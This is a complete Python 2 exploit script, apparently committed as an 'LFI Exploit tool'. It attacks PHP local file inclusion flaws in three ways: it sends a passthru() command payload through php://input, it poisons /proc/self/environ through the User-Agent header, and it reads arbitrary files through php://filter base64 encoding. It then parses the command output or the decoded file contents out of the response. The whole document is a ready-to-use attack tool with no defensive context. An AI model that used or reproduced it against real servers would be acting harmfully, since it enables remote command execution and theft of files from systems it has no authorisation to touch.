#!/usr/bin/python

import argparse
import base64
import re
import requests
import sys

def scrap_results (content):
    # regexp
    regexp_start = re.compile ('.*STARTSTART.*')
    regexp_end = re.compile ('.*ENDEND.*')
    # results
    results = list()
    # result start and end
    found_start = False
    found_end = False
    # getting lines
    lines = content.split ('\n')
    for line in lines:
        if found_start and found_end:
            break
        if found_start == False and len (regexp_start.findall (line)) != 0:
            # print 'found STARTSTART'
            line = re.sub ('.*STARTSTART', '', line)
            found_start = True
        if found_start == True and found_end == False and len (regexp_end.findall (line)) != 0:
            # print 'found ENDEND'
            line = re.sub ('ENDEND.*', '', line)
            found_end = True
        if found_start == True and len (line) != 0:
            results.append (line)
    return results

# extract all potential base64 strings
# decode correct one and store potentials
def scrap_b64str (content):
    # search for base64 strings, shorter than 16 chars is refused
    regexp_b64 = re.compile ('[A-Za-z0-9+/=]{16,}=+')
    words = regexp_b64.findall (content)

    # validate each base64
    # if validated it is added to our list
    results = list()
    for word in words:
        found = True
        decoded = ''
        try:
            decoded = base64.b64decode (word)
        except Exception:
            found = False

        if found == False and len (re.findall ('=+$', word)) != 0:
            decoded = word
            found = True
        if found == True and len (decoded) != 0:
            results.append (decoded)
    return results

parser = argparse.ArgumentParser(description='Exploit LFI')
parser.add_argument('--url', '-u', nargs=1, type=str, help='URL to attack', required=True)
parser.add_argument('--arg', '-a', nargs=1, type=str, help='Technique argument', required=True)
parser.add_argument('--technique', '-t', nargs=1, default='env', help='input, env or read')
args = parser.parse_args ()

payload = '<?php echo "STARTSTART"; passthru ("{0}"); echo "ENDEND"; ?>'.format (args.arg[0])
if args.technique[0] == 'input':
    form = {
            '' : payload
    }
    filename = 'php://input'
    url = args.url[0].replace ('PAYLOAD', filename)
    req = requests.get (url, data=form)

    # print result
    results = scrap_results (req.text)
    for result in results:
        print result
elif args.technique[0] == 'read':
    php_filter = 'php://filter/convert.base64-encode/resource=' + args.arg[0]
    url = args.url[0].replace ('PAYLOAD', php_filter)
    req = requests.get (url)

    # print result
    results = scrap_b64str (req.text)
    for result in results:
        print result
else:
    headers = {
            'User-Agent' : payload
    }
    filename = '/proc/self/environ'
    url = args.url[0].replace ('PAYLOAD', filename)
    print url
    req = requests.get (url, headers=headers)

    # print result
    results = scrap_results (req.text)
    for result in results:
        print result


Add : LFI Exploit tool